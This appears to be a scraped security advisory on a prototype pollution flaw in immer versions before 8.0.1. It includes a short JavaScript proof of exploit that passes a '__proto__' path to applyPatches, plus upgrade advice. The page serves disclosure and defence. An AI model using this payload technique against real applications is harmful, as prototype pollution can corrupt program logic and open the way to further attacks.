Lucene search

K
nodejsAnonymousNODEJS:1603
HistoryFeb 19, 2021 - 6:18 p.m.

Prototype Pollution

2021-02-1918:18:20
Anonymous
www.npmjs.com
57

0.002 Low

EPSS

Percentile

54.3%

Overview

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

Recommendation

Upgrade to version 8.0.1 or later

References

CPENameOperatorVersion
immerlt8.0.1